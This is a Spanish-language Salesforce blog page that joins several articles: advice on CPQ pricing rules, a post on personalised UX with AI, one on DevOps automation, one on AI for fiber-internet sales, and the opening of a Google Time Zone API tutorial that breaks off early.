– Planifica la estructura de tus Reglas de Precios de forma lógica y organizada.

– Dividir escenarios de precios complejos en reglas de precios más pequeñas y manejables.

– Esto mejora la capacidad de mantenimiento y facilita la resolución de problemas y las modificaciones.

3. Use nombres de reglas descriptivos:

– Asigne nombres significativos y descriptivos a sus Reglas de precios.

– Esto ayuda a identificar y comprender el propósito de cada regla, especialmente cuando se trata de muchas reglas de precios.

4. Establecer orden de evaluación lógica:

– Establezca el campo Orden de evaluación en el objeto Regla de precio de forma adecuada.

– Controlar la secuencia en la que se evalúan y aplican las Reglas de Precios.

– Asegúrese de que el orden de evaluación se alinee con la lógica y los requisitos de precios previstos.

5. Probar y validar reglas de precios:

– Pruebe y valide exhaustivamente sus reglas de precios con varios escenarios de prueba.

– Verificar que los resultados de la fijación de precios se alineen con los resultados esperados.

– Probar diferentes combinaciones de condiciones, configuraciones de productos y escenarios de precios.

6. Aproveche las condiciones avanzadas:

– Utilice la función Condiciones avanzadas para implementar criterios de reglas complejos.

– Combinar múltiples condiciones utilizando operadores lógicos (AND, OR) y funciones.

– Esto permite una lógica de reglas más compleja y un control más detallado.

7. Reglas de revisión y actualización periódicas:

– Revise periódicamente sus reglas de precios para asegurarse de que se mantengan alineadas con las estrategias de precios en evolución y los requisitos comerciales.

– Actualice las reglas según sea necesario para reflejar los cambios en los productos, los modelos de precios o las estrategias de descuento.

8. Lógica de la regla de precio del documento:

– Documente la lógica y el razonamiento detrás de sus Reglas de precios.

– Esto sirve como referencia para futuras modificaciones y ayuda con la transferencia de conocimiento dentro del equipo.

¿Se pueden usar reglas de precios para actualizar valores de campo en un registro? Explicar.

No, las reglas de precios en Salesforce CPQ se utilizan principalmente para los cálculos y ajustes de precios en lugar de actualizar directamente los valores de los campos en un registro.

Si bien las reglas de precios pueden afectar los resultados y resultados de la fijación de precios, no están diseñadas para actualizar directamente los valores de campo en un registro fuera del contexto de fijación de precios.

¿Cuál es la diferencia entre una regla de precio y un programa de descuento?

Las reglas de precios se utilizan para definir una lógica de precios dinámica y condicional, lo que permite cálculos y acciones complejos basados en condiciones específicas. Por otro lado, los Programas de descuento proporcionan un enfoque estandarizado para aplicar descuentos predefinidos de manera uniforme en múltiples productos o escenarios de precios. Las reglas de precios ofrecen más flexibilidad y opciones de personalización, mientras que los calendarios de descuentos ofrecen una forma coherente y optimizada de gestionar los descuentos.

Expliquemos la diferencia entre una regla de precio y un programa de descuento usando un ejemplo de dulces:

Regla de precio:

– Una regla de precios le permite definir acciones o ajustes de precios específicos basados en ciertas condiciones para dulces individuales o grupos de dulces.

– Por ejemplo, puede crear una regla de precios que aplique un descuento del 10 % a todos los dulces de ositos de goma durante un período promocional.

– Las reglas de precios brindan flexibilidad para aplicar diferentes lógicas de precios, descuentos o ajustes basados en diversas condiciones para dulces o grupos de dulces específicos.

Horario de descuento:

– En el mismo escenario de la tienda de golosinas, se usaría un programa de descuentos para administrar los descuentos estandarizados que se aplican a varios dulces.

– Un calendario de descuentos proporciona un enfoque consistente para aplicar descuentos predefinidos de manera uniforme.

– Por ejemplo, puede crear un programa de descuento llamado "10 % de descuento" que ofrece un 10 % de descuento en todos los dulces en toda la tienda.

– Los Programas de descuento ayudan a mantener precios consistentes en diferentes dulces o niveles de precios, lo que garantiza que se aplique el mismo descuento a varios productos sin necesidad de Reglas de precios individuales.

50% Me gusta VS
50% No me gusta

Seguir leyendo

¿Diseñando experiencias de usuario personalizadas con datos e IA? Tenga esto en cuenta

¿Diseñando experiencias de usuario personalizadas con datos e IA? Tenga esto en cuenta

Hoy en día, más usuarios se sienten cómodos con las empresas que utilizan información personal relevante de manera transparente y beneficiosa. En el estudio Estado del cliente conectado de Salesforce de 2022 , el 61 % de los encuestados informaron un nivel de comodidad con estas prácticas personalizadas de experiencia del usuario. Eso es un aumento del 52% del año anterior. Sin embargo, no existe una definición universal de lo que es transparente y beneficioso.

Los líderes de diseño son a menudo los que terminan determinando cómo se ve una experiencia de usuario ideal y cómo no se ve. Consideremos algunos ejemplos de contexto.

  • Un ejecutivo de cuenta en una llamada de un cliente ve que se abre un chatbot con consejos para cambiar su tono para ser más efectivo. Esto puede parecer que se está insertando de una manera no solicitada.
  • Un consumidor busca, por ejemplo, joyeros de anillos de boda en el navegador web de su computadora portátil. Más tarde ven un anuncio dirigido por IA para planificadores de eventos en su feed de redes sociales móviles.

Muchas personas describen experiencias como estas como espeluznantes. Puede cruzar una línea cuando la IA usa información o el comportamiento del usuario desde una ubicación, experiencia o dispositivo diferente, sin una explicación clara o un proceso de consentimiento. Sin embargo, esa línea puede desdibujarse según el usuario y su entorno.

Descubra lo que está dando forma al futuro de la interacción con el cliente

El estudio Salesforce State of the Connected Customer comparte información de más de 13 000 consumidores

“Los usuarios deben sentir que existe una relación mutuamente beneficiosa entre la empresa y ellos mismos cuando intercambian sus datos por servicios personalizados”, dijo Daniel Lim, director sénior de Salesforce Futures, quien también trabajó en el informe “Ética por diseño” con World Economic Foro (WEF).

Lim recuerda a los diseñadores que el intercambio de valores de hoy todavía es nuevo. Hoy en día, los clientes obtienen experiencias de usuario más personalizadas mientras que las empresas recopilan datos y obtienen conocimientos. Sin embargo, no hace mucho tiempo, los clientes simplemente pagaban por bienes y servicios sin entregar datos personales. Es un nuevo día de información en todas partes. Para 2028, existirán 221 zettabytes de datos en todo el mundo, según la Corporación Internacional de Datos (IDC) . También existen herramientas poderosas en el mercado para desbloquear datos de clientes e información procesable, como nuestra nueva nube de datos de Salesforce .

Al saber esto, Lim reconoce que el acto de diseño de beneficio mutuo es un principio de diseño emergente para construir un futuro con más confianza. Él enfatiza que este tema no puede ser pasado por alto. “Internet cambió la confianza para siempre”, dijo.

Observar el entorno ético.

Habló sobre esto en la serie de podcasts “Voicing Relationships ”, producido en asociación con House of Beautiful Business, la red para la economía centrada en la vida. Además de que la distinción espeluznante/genial es específica del usuario, también es específica de la sociedad.

Escuche el Episodio 3 en Spotify o Apple Podcasts hoy:

“Lo que es bueno en la sociedad es completamente contextual”, dijo Lim. “Lo que es ético en una sociedad también es completamente contextual”.

De manera similar, el diseño centrado en el ser humano ofrece una lente para indagar más profundamente sobre lo que es importante para los usuarios. En lugar de hacer suposiciones, tener conversaciones puede revelar ideas que informen cómo son las experiencias de usuario personalizadas. “El futuro de la personalización realmente depende del uso de la tecnología para detectar y responder al contexto de cada individuo, comprender cuáles son sus necesidades y responder sin instrucciones explícitas”, dijo Lim.

Ciertamente, los diseñadores son cada vez más conscientes de cómo evitar diseños engañosos . Ahora, en esta nueva era basada en datos e inteligencia artificial, también es fundamental evitar diseños que los usuarios puedan describir como espeluznantes.

Prevenir la incomodidad del usuario

La incorporación de la ética en los procesos de diseño es un tema que defiende Emily Witt en su función como Directora de Cross Cloud Research & Insights de Salesforce. “Nuestros clientes confían en nosotros para hacer el trabajo duro de crear experiencias confiables. Necesitamos asegurarnos de evitar crear experiencias que se sientan invasivas, manipuladoras o que provoquen ansiedad”.

Ha descubierto que las explicaciones pueden contribuir en gran medida a aumentar la comodidad. Usar un lenguaje que haga que los usuarios se sientan cómodos podría parecer compartir por qué está solicitando información privada o qué información está usando para generar un resultado. También ayuda a comunicar claramente cuándo las empresas emplean IA: una divulgación transparente descrita en la Política de uso aceptable de Salesforce .

“Necesitamos asegurarnos de evitar crear experiencias que se sientan invasivas, manipuladoras o que provoquen ansiedad”.

Emily Witt

Salesforce Director de investigación e información de Cross Cloud

Emily Witt

Por ejemplo, al nombrar a Tracey Bot, el Bot de Einstein de rastreo de contactos, el equipo incluyó intencionalmente "Bot". Hicieron esto para dejar en claro que AI los está contactando por su salud. Con la información médica personal, existe el riesgo de caer en lo que se conoce como valle inquietante. Para evitar la incomodidad de los usuarios, el equipo incorporó la dirección para que las organizaciones solo envíen un mensaje si un agente puede manejar las llamadas entrantes. Este ejemplo muestra cómo el diseño centrado en el ser humano ayuda a crear experiencias de usuario personalizadas con datos e IA que cumplen con las expectativas del usuario. Incluso pueden generar un sentimiento positivo.

En general, "no seas espeluznante" es un estribillo común en la industria de la tecnología. Las empresas cliente pueden considerar cómo perciben los usuarios el intercambio de valor de datos para la personalización. Requiere una personalización de marketing responsable y principios de diseño de IA responsables . De hecho, así es como allanamos el camino para aumentar la confianza y la lealtad de los clientes . Todo comienza con el diseño de soluciones que mantengan en mente estas ideas emergentes.

Seguir leyendo

Automatización y Salesforce DevOps: una receta para el desarrollo acelerado

Automatización y Salesforce DevOps: una receta para el desarrollo acelerado

Última actualización el 3 de julio de 2023 por Rakesh Gupta

En el acelerado mundo empresarial actual, la eficiencia en el desarrollo de software es vital. La automatización ha surgido como una solución clave, agilizando los procesos para aumentar la productividad y liberar la innovación. Salesforce no es inmune a estos desafíos y complejidades de toda la industria.

Ingrese a DevOps. DevOps se ha convertido en un elemento esencial en el desarrollo de software, incluido Salesforce. Mediante la colaboración de desarrolladores, administradores y partes interesadas, Salesforce DevOps crea un entorno perfecto para la automatización.

La combinación de automatización y Salesforce DevOps cosecha múltiples beneficios: menos errores, preparación más rápida para el mercado, una canalización de lanzamiento optimizada, menos repeticiones, calidad de código superior y mecanismos de retroalimentación más fuertes. Mejora la eficiencia operativa y la velocidad de implementación en el ecosistema de Salesforce, fomentando un desarrollo ágil.

Este artículo explora la intersección de la automatización y Salesforce DevOps, los beneficios de su sinergia y formas prácticas de aplicarla para un desarrollo más rápido en sus operaciones de Salesforce. Tanto si es un profesional de Salesforce como un novato, este artículo ofrece información para reforzar su enfoque de DevOps de Salesforce con la automatización.

Descripción de DevOps de Salesforce

Antes de profundizar en cómo se cruzan Salesforce DevOps y la automatización, es fundamental comprender lo que implica Salesforce DevOps.

DevOps, una combinación de ' Desarrollo ' y ' Operaciones ', es un conjunto de prácticas diseñadas para fusionar el desarrollo de software, el control de calidad y las operaciones de TI en un proceso unificado y fluido. En un contexto de Salesforce , DevOps es la unión de estos principios con las sólidas capacidades de CRM de Salesforce, con el objetivo de facilitar procesos de desarrollo e implementación más fluidos y rápidos.

En esencia, Salesforce DevOps incorpora principios como:

  1. Integración continua y entrega continua (CI/CD),
  2. responsabilidades compartidas,
  3. Acción centrada en el cliente,
  4. Cultura de colaboración.

El objetivo es crear un entorno cohesivo donde los administradores, desarrolladores y otras partes interesadas puedan trabajar en armonía, lo que lleva a ciclos de desarrollo más cortos, tiempo de comercialización más rápido y software de alta calidad.

Sin embargo, a pesar de las ventajas de Salesforce DevOps, los desarrolladores a menudo enfrentan desafíos. Si bien es un activo, las características integrales y la capacidad de personalización de Salesforce pueden complicar el proceso de desarrollo e implementación .

Los desafíos difieren de un equipo a otro y de un caso de uso a otro, pero estos son algunos de los más comunes:

  • Las diferencias en los entornos,
  • Administrar dependencias de código,
  • Manejo de metadatos,
  • Alinear el trabajo de diferentes equipos
  • Necesidad de mantener la calidad del código
  • Estabilidad del sistema mientras entrega a gran velocidad

Aquí es donde la automatización viene al rescate. La automatización, en esencia, es el uso de la tecnología para realizar tareas con una intervención humana reducida. Cuando se aplica a Salesforce DevOps , puede aliviar significativamente estos desafíos.

Las pruebas automatizadas, por ejemplo, pueden mejorar la calidad del código al identificar errores al principio del proceso de desarrollo. Las implementaciones automatizadas pueden sincronizar metadatos y código en diferentes entornos, lo que reduce los errores de implementación. Del mismo modo, la automatización de tareas repetitivas puede liberar el tiempo de los desarrolladores, lo que les permite concentrarse en actividades que agregan más valor, como el desarrollo de funciones o el diseño de sistemas.

Además, la automatización fomenta un proceso de desarrollo más ágil, lo que permite actualizaciones periódicas e incrementales en lugar de implementaciones rígidas de Salesforce. Este aspecto acorta el ciclo de desarrollo y facilita la reversión de los cambios si algo sale mal, lo que aumenta la estabilidad general del sistema.

Aprovechamiento de la automatización para el desarrollo acelerado de Salesforce

Acelerar el desarrollo de Salesforce a través de la automatización implica identificar tareas manuales y repetitivas, implementar herramientas y marcos de automatización adecuados y perfeccionar los procesos para mejorar la eficiencia y reducir los cuellos de botella. Profundicemos en cada una de estas áreas con más detalle:

Identificación de tareas manuales y repetitivas

El primer paso hacia la automatización es reconocer qué tareas están ralentizando su velocidad de desarrollo.

Estos típicamente incluyen:

  • Revisiones de código,
  • Pruebas,
  • Despliegue,
  • Configuración,
  • Migración de datos.

Suelen implicar procesos manuales tediosos que consumen tiempo y son propensos a errores. Al identificar estas tareas, puede identificar dónde la automatización proporcionará el mayor beneficio y tendrá un impacto significativo en la velocidad y la eficiencia de su desarrollo.

Implementación de herramientas y marcos de automatización

Una vez que haya identificado las áreas que podrían beneficiarse de la automatización, es hora de elegir e implementar las herramientas y los marcos adecuados. Salesforce ofrece varias funciones de automatización integradas, como Apex y Salesforce Flow .

Sin embargo, otras herramientas pueden ser más adecuadas para tareas complejas, como Salesforce DX para la gestión del ciclo de vida del desarrollo, o Jenkins y CircleCI para la integración y entrega continuas. Al seleccionar estas herramientas, asegúrese de que se alineen con las habilidades de su equipo y los requisitos específicos de su entorno de Salesforce.

Optimización de procesos para mejorar la eficiencia

La automatización no se trata solo de herramientas y tecnología. También se trata de refinar sus procesos. Revise su flujo de trabajo de desarrollo actual para identificar posibles cuellos de botella y áreas de mejora.

Por ejemplo:

  1. ¿Cómo se informan y rastrean los errores?
  2. ¿Con qué frecuencia se realizan las implementaciones y cómo se programan?
  3. ¿Cómo se recopilan los comentarios y cómo se actúa en consecuencia?

Simplificar estos procesos puede mejorar drásticamente la eficiencia de su equipo, permitiéndole aprovechar al máximo sus esfuerzos de automatización.

Vale la pena mencionar que los beneficios de la automatización van más allá de acelerar el desarrollo. La automatización también puede mejorar la calidad del código al detectar errores temprano a través de pruebas automatizadas. Puede reducir los errores de implementación al sincronizar el código en diferentes entornos.

Y al liberar a los desarrolladores de las tareas rutinarias, les permite concentrarse más en el desarrollo de características y el diseño del sistema, fomentando así la innovación y mejorando el valor entregado a los usuarios finales.

Pruebas automatizadas para el desarrollo acelerado de Salesforce

Las pruebas son un componente crucial de cualquier ciclo de vida de desarrollo, y su importancia se multiplica para acelerar el desarrollo de Salesforce. Las pruebas periódicas y exhaustivas ayudan a identificar errores y problemas desde el principio, lo que reduce el riesgo de reparaciones costosas y lentas en el futuro. Asegura la calidad y la confiabilidad de la aplicación, lo que a su vez contribuye a mejorar las experiencias de los usuarios y los resultados comerciales.

La automatización puede potenciar este proceso de prueba. Las pruebas automatizadas implican el uso de herramientas de software para ejecutar pruebas y comparar los resultados reales con los resultados esperados. La implementación de una estrategia de prueba automatizada para las aplicaciones de Salesforce puede acelerar drásticamente el proceso de desarrollo, lo que garantiza implementaciones más rápidas, eficientes y confiables con menos errores.

Existen numerosas herramientas disponibles para pruebas automatizadas en Salesforce. Apex proporciona soporte integrado para pruebas unitarias, mientras que herramientas como Selenium, Provar y AssureClick pueden automatizar las pruebas de IU. Jest es una excelente opción para probar Lightning Web Components (LWC). Al seleccionar una herramienta, considere las necesidades específicas de su aplicación, la experiencia de su equipo y la complejidad y frecuencia de sus requisitos de prueba.

Seguir las mejores prácticas es esencial para aprovechar todo el potencial de las pruebas automatizadas. Estas son algunas de las mejores prácticas para pruebas automatizadas eficientes y completas en el desarrollo de Salesforce:

  • Apunte a una alta cobertura de prueba : asegúrese de probar todas las partes de su aplicación. Salesforce requiere una cobertura de código mínima del 75 %, pero apuntar a una mayor cobertura puede brindar más confianza en la confiabilidad de la aplicación.
  • Cree pruebas repetibles y autónomas : las pruebas deben poder ejecutarse en cualquier entorno y no deben basarse en datos de pruebas anteriores. Esto garantiza que cada prueba valide una función específica de forma independiente.
  • Mantenga sus conjuntos de pruebas : a medida que su aplicación evolucione, sus pruebas también deberían hacerlo. Revise y actualice regularmente sus pruebas para asegurarse de que reflejen con precisión el estado actual de su aplicación.
  • Implemente diferentes niveles de prueba : combine pruebas unitarias, pruebas de integración y pruebas de interfaz de usuario para validar todos los aspectos de su aplicación. Cada nivel de prueba proporciona una perspectiva diferente sobre la funcionalidad de la aplicación.
  • Priorizar la legibilidad de la prueba : las pruebas a menudo sirven como documentación, explicando lo que se supone que debe hacer una parte del código. Asegúrese de que sus pruebas estén bien estructuradas y claramente escritas para que sean fáciles de entender para los demás.
  • Incorpore las pruebas al principio del proceso de desarrollo : no espere hasta el final del ciclo de desarrollo para comenzar las pruebas. La incorporación de pruebas de manera temprana y frecuente le permite detectar y solucionar problemas rápidamente.

Integración e implementación continuas con automatización

La integración continua y la implementación continua (CI/CD) forman un pilar central de Salesforce DevOps. CI/CD está diseñado para reducir errores y acelerar el desarrollo a través de la integración continua de código y procesos de implementación automatizados y consistentes.

En el contexto de Salesforce, CI fusiona periódicamente los cambios de código en un repositorio compartido, a menudo varias veces al día. Cada integración se verifica automáticamente mediante la creación de la aplicación y la ejecución de pruebas, lo que garantiza que los nuevos cambios se integren perfectamente con el código existente y no introduzcan errores.

Por otro lado, CD implementa automáticamente esos cambios en la producción, lo que garantiza que las nuevas características, configuraciones y mejoras lleguen a los usuarios finales lo más rápido posible. En Salesforce, CD puede implicar la implementación de cambios en diferentes entornos, como entornos de desarrollo, prueba, ensayo y producción.

La automatización es clave para lograr procesos impecables de CI/CD de Salesforce. A través de la automatización, puede optimizar y estandarizar los pasos involucrados en:

  • Creación, prueba e implementación de aplicaciones de Salesforce,
  • Reducir el potencial de error humano
  • Acelerar el ciclo de desarrollo general.

La automatización del proceso de compilación garantiza que los cambios en el código se integren y validen de manera constante. Las pruebas automatizadas, como comentamos anteriormente, verifican la integridad y la calidad del nuevo código. La automatización del proceso de implementación ayuda a sincronizar el código y los cambios de configuración en diferentes entornos, lo que garantiza que todos los equipos de DevOps trabajen con la versión más reciente y precisa de la aplicación.

Control de versiones y automatización de la gestión de cambios

En el desarrollo de Salesforce, el control de versiones y la gestión de cambios son fundamentales para mantener la integridad, coherencia y calidad de su aplicación.

El control de versiones, una parte integral del desarrollo de software, implica administrar y rastrear diferentes versiones de su base de código. Le permite ver los cambios a lo largo del tiempo, volver a las versiones anteriores cuando sea necesario y administrar el código de varios desarrolladores al mismo tiempo.

La gestión de cambios se refiere a la gestión y el seguimiento de los cambios del sistema, incluidos los cambios de configuración, las modificaciones de código y las implementaciones de nuevas funciones.

La automatización de estos procesos puede mejorar su eficiencia y confiabilidad en el desarrollo de Salesforce.

  1. El control de versiones automatizado permite una integración de código más fluida de diferentes desarrolladores, lo que reduce el riesgo de conflictos y errores.
  2. La gestión de cambios automatizada asegura que todas las modificaciones a su sistema sean rastreadas y verificadas con precisión, mejorando la responsabilidad y facilitando el diagnóstico de cualquier problema que surja.

Varias herramientas pueden ayudar a automatizar el control de versiones y la gestión de cambios en Salesforce. Los sistemas de control de versiones (VCS) como Git permiten un control de versiones efectivo. Facilita el seguimiento de los cambios en la base del código, lo que ayuda a mantener la integridad del código.

Las herramientas de DevOps como Copado o Gearset pueden ayudar a automatizar el seguimiento y la implementación de cambios en diferentes entornos para la gestión de cambios. Brindan una visibilidad integral de su historial de cambios, lo que le permite administrar los cambios de manera más efectiva y mantener la estabilidad de su aplicación.

Automatización de la supervisión y el tratamiento de errores

En el ámbito vertiginoso del desarrollo de Salesforce, el papel de la automatización se extiende más allá de la creación, prueba e implementación. El monitoreo automatizado y el manejo de errores son igualmente importantes para mantener la salud de la aplicación y corregir rápidamente cualquier problema.

El monitoreo automatizado implica el uso de herramientas para realizar un seguimiento constante del rendimiento, el uso y el estado general de sus aplicaciones de Salesforce. Este enfoque proactivo permite a los equipos de desarrollo identificar y abordar posibles problemas antes de que afecten a los usuarios.

El manejo proactivo de errores va de la mano con el monitoreo automatizado. En lugar de esperar a que se informen los problemas, el manejo proactivo de errores implica el uso de sistemas automatizados para identificar y, a menudo, resolver los problemas tan pronto como ocurran. Las notificaciones de error automatizadas aseguran que su equipo esté al tanto de cualquier problema al instante, lo que permite una respuesta rápida, minimiza el tiempo de inactividad y reduce la posibilidad de errores costosos.

La implementación de estas herramientas de automatización en Salesforce DevOps implica el uso estratégico de recursos como Monitoreo de eventos de Salesforce, que proporciona un flujo de eventos de auditoría de aplicaciones de su organización, y herramientas de Monitoreo y advertencia de errores, que pueden notificarle automáticamente sobre errores o excepciones.

Conclusión

La automatización combinada con las prácticas de Salesforce DevOps ofrece una poderosa estrategia para acelerar el desarrollo y mejorar la calidad del software. Es una receta para el éxito en el vertiginoso panorama digital actual.

Para implementar la automatización en su desarrollo de Salesforce, comience por identificar las tareas repetitivas que podrían automatizarse. Luego, implemente herramientas adecuadas para tareas como integración continua, pruebas automatizadas, control de versiones y monitoreo de aplicaciones. Agilice cualquier proceso manual junto con la implementación de estas herramientas, creando un flujo de trabajo de desarrollo eficiente y efectivo.

La adopción de la automatización en Salesforce DevOps acelera el desarrollo y refuerza la confiabilidad y el valor de sus aplicaciones. A medida que el ecosistema de Salesforce continúa evolucionando, el papel de la automatización crecerá aún más, dando forma al futuro del desarrollo de Salesforce.

Este artículo fue escrito por Sam Hops. Es redactora de contenido para una revista digital que cubre temas relacionados con el diseño, el comercio electrónico, el marketing digital y el espíritu empresarial. Sam es un apasionado de todo lo relacionado con el marketing digital, pero tiene un interés particular en el diseño gráfico, el SEO y las redes sociales.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

¿Intenta ganar clientes de Internet de fibra? 3 formas en que la IA puede ayudar

¿Intenta ganar clientes de Internet de fibra? 3 formas en que la IA puede ayudar

A medida que más empresas y personas buscan una conectividad a Internet más rápida que la que pueden proporcionar los cables, la fibra es una inversión popular. Dado que se espera que el mercado mundial de la fibra alcance los 31 300 millones de USD para 2030 , está claro que el auge de la fibra hasta el hogar está aquí.

La IA puede ayudarlo a capitalizar esto, escalando sus esfuerzos para obtener nuevos clientes y ayudándolo a brindar un mejor servicio a los actuales .

Adquirir la mayor cantidad de clientes lo más rápido posible es el nombre del juego para los proveedores de fibra hasta el hogar. Las enormes inversiones en infraestructura están presionando aún más a las empresas de telecomunicaciones para que hagan precisamente eso.

Modernice el servicio con la automatización

Aproveche la IA y la automatización para liberar a los equipos de servicio al cliente de tareas mundanas, brindar un servicio de calidad y ser más eficientes.

Sin embargo, la cantidad de nuevos clientes que puede atraer disminuye cada vez que se retrasa un nuevo proyecto, ya sean instalaciones de infraestructura más amplias o viviendas individuales. Eso perjudica su resultado final y la satisfacción del cliente .

Entonces, ¿cómo puede agregar más eficiencia al proceso sin acumular inversiones más significativas? Ahí es donde entran la IA y la automatización. La IA generativa puede ayudar a los proveedores de comunicaciones a optimizar sus inversiones, y eso incluye ayudar a capitalizar el auge de la fibra.

Las implementaciones de IA generativa pueden permitirle hacer preguntas específicas basadas en los datos de CRM de su empresa, ayudándole a tomar decisiones más informadas, lo que lleva a mejores resultados comerciales.

La tecnología de inteligencia artificial generativa que es segura, confiable y se basa en la amplitud de los datos de su cliente puede optimizar su inversión en fibra en cada paso del camino. Desde la identificación de vecindarios para proyectos de infraestructura hasta la optimización de las instalaciones de hogares individuales, así es como puede ayudar.

1. Identificar ubicaciones para la inversión de fibra hasta el hogar

Para capitalizar el auge de la fibra hasta el hogar, el uso de la IA generativa comienza desde el inicio del proceso, identificando en qué vecindarios colocar la fibra.

La tecnología de IA generativa puede analizar datos históricos, datos demográficos y tendencias del mercado para identificar dónde invertir en implementaciones o actualizaciones de infraestructura, por ejemplo. Junto con sus propios puntos de datos seguros, como la tasa de ganancia de su empresa en varios vecindarios, la IA generativa lo ayudará a encontrar las soluciones de diseño de red más rentables y eficientes.

También puede ayudar a los proveedores de fibra a identificar las comunidades con el mayor nivel de interés en la fibra, así como a crear flujos de trabajo inteligentes para aumentar los ingresos por registro e instalación más rápidamente.

2. Escale sus ventas de fibra de alto rendimiento

Tenga en cuenta que la IA que implementa es tan buena como los datos en los que se basa . Puede usar IA con sus datos protegidos para adaptar sus esfuerzos de marketing, como diseñar anuncios personalizados visualmente atractivos para dirigirse a audiencias específicas en función del historial de navegación y compras, creando modelos predictivos para pronosticar el comportamiento de compra de los clientes.

La IA generativa junto con las capacidades de IA basadas en el aprendizaje automático de larga data es el "santo grial" para escalar su alcance, según Vala Afshar, evangelista digital jefe de Salesforce. Eso también se aplica al despliegue de fibra en tantos hogares y empresas como sea posible.

Puede ayudar a optimizar sus ventas y marketing a través de otros beneficios, como:

  • Puntuación de clientes potenciales : use IA para analizar y priorizar automáticamente los clientes potenciales de instalación de fibra en función de su probabilidad de conversión.
  • Perspectivas de cuentas y oportunidades : la IA y los algoritmos de aprendizaje automático pueden recopilar y analizar datos de fuentes internas y externas para proporcionar una visión holística de posibles cuentas de fibra y oportunidades de ventas.
  • Pronóstico predictivo : con el análisis predictivo, la IA puede extraer datos históricos, patrones y otras correlaciones para brindarles a los proveedores de fibra la capacidad de anticipar el comportamiento del cliente, predecir tendencias de ventas y tomar otras decisiones basadas en datos.

Yendo un paso más allá, la IA generativa predice las tendencias de ventas futuras, analiza los datos de ventas y crea una comunicación personalizada, lo que lo ayuda a aprovechar al máximo la tendencia de fibra hasta el hogar.

La IA generativa también puede ayudar a su equipo de ventas a cerrar y optimizar nuevos acuerdos de fibra.

Puede crear propuestas y contratos a partir de datos de clientes, agilizando la creación, mejorando la personalización, la eficiencia y la precisión en todo el proceso.

El análisis de gestión de pedidos, en todo, desde métricas de rendimiento de pedidos, seguimiento y gestión de inventario, puede ayudar a identificar oportunidades de ventas adicionales y recomendaciones de productos, ahorrando horas de trabajo en tareas administrativas.

3. Mejore su proceso de instalación para trabajadores y clientes

La IA tampoco se detiene una vez que sus técnicos están en el campo.

Brinda a los despachadores una visibilidad completa para hacer coincidir los trabajadores y las asignaciones, y asigna proyectos de manera consistente en función de las habilidades, la ubicación, el inventario y las reglas comerciales. Les permite ver la fuerza de trabajo móvil y cada trabajo en una sola pantalla.

Los chatbots o asistentes virtuales con tecnología de IA pueden proporcionar actualizaciones en tiempo real sobre instalaciones o solicitudes de servicio que reducen el tiempo de intervención humana.

Puede ofrecer las siguientes mejores acciones y resolución de problemas para los técnicos de servicio de campo durante la instalación. Por ejemplo, los algoritmos de visión por computadora pueden analizar imágenes o videos de los sitios de instalación para guiar a los técnicos a través del proceso y garantizar la precisión en el camino e identificar cualquier problema que deba abordarse.

Esto crea un proceso de instalación simplificado y le permite entrar y salir de más hogares y negocios más rápido. AI lo ayuda a brindar el excelente servicio que los clientes esperan, brindándole una ventaja en la carrera de fibra hasta el hogar.

Uniéndolo todo con IA generativa

Veamos un ejemplo de un proveedor de fibra que utiliza IA generativa para convertir una simple solicitud de servicio de un cliente de banda ancha comercial en una posible instalación significativa de fibra para varias oficinas. Supongamos que un cliente se pone en contacto con el centro de servicio por inquietudes sobre videoconferencias nerviosas entre sus seis oficinas.

En el pasado, después de enterarse del problema, un representante de ventas regresaba e investigaba las ubicaciones de sus oficinas, cuántos empleados y el tipo de negocio. Luego usarían esa información para predecir el ancho de banda, o incluso si está disponible en las ubicaciones, necesario para una solución. El representante, junto con los arquitectos técnicos, establecería cuál es la solución, pensaría en una venta adicional y redactaría una propuesta y un contrato.

Eso podría tomar semanas o meses en completarse.

En su lugar, la IA puede tomar la indicación del cliente (arreglando videoconferencias sin fluctuaciones entre seis ubicaciones) y proporcionar instantáneamente las respuestas a todas las preguntas necesarias para resolver el problema.

Esta tecnología puede extraer datos seguros de sus clientes e identificar información relevante, como dónde se encuentran esas seis ubicaciones y el número de empleados por ubicación. Al leer los datos que ya tiene, la IA generativa puede informarle si la tecnología mejorada está disponible para esas ubicaciones.

También puede incorporar una recomendación de venta adicional instantánea, que en este caso, por ejemplo, sería instalar fibra en las ubicaciones para aumentar el ancho de banda y la mejor velocidad y calidad posibles para videoconferencias.

Luego, la IA generativa entrega una propuesta y un contrato utilizando toda esa información privada dentro de su dominio. Un representante de ventas y un ingeniero de red están en todo momento para proporcionar retroalimentación humana para ajustar o adaptar la respuesta, brindando el toque personal necesario para que todo funcione bien.

Pero gran parte del trabajo manual, el trabajo administrativo, lo realiza la IA. Reduce el proceso que habría tomado semanas o meses manualmente a solo unos pocos días, mientras libera los recursos de su empresa para enfocarse en tareas de mayor nivel, como enfocarse en expandir la fibra al hogar y la oficina.

Ya sea identificando ubicaciones para instalar fibra o alertando a los representantes sobre una oportunidad de venta adicional, la IA generativa y la automatización pueden ayudar a potenciar la carrera de su empresa para adquirir clientes de fibra y optimizar esas fuertes inversiones.

Gana ventaja en el auge de la fibra

Descubra las estrategias y tecnologías fundamentales necesarias para iluminar las experiencias de sus suscriptores de fibra.

Seguir leyendo

Integración de API de zona horaria de Salesforce y Google: traducción de coordenadas a información de zona horaria

Integración de API de zona horaria de Salesforce y Google: traducción de coordenadas a información de zona horaria

Última actualización el 29 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo puede aprovechar la API de zona horaria de Google para actualizar automáticamente la información de zona horaria de un cliente potencial en función de sus coordenadas geográficas?

Objetivos:

Después de leer este blog, podrá:

Jestilla Zetkin se desempeña actualmente como arquitecta de Salesforce en Gurukul On Cloud (GoC). El Director Comercial le ha confiado a Jestilla un desafío único. El objetivo es asegurarse de que, en el momento de la creación, los prospectos de Salesforce (creados a través de Web-to-lead) reciban los detalles exactos de la zona horaria, que se determinan en función de sus respectivas coordenadas geográficas.

  1. El caso de uso comercial requiere que usemos la API de zona horaria de Google para actualizar automáticamente cuatro campos específicos en los clientes potenciales:
    1. dstOffset (la compensación del horario de verano en segundos)
    2. rawOffset (el desplazamiento de la hora universal coordinada para la zona horaria de la ubicación dada)
    3. timeZoneId (una cadena que identifica de forma única la zona horaria)
    4. y timeZoneName (el nombre largo de la zona horaria)
  2. En caso de una respuesta fallida, instituya una acción de contingencia para crear una tarea para el propietario designado del cliente potencial.

¿Qué es la API de zona horaria de Google?

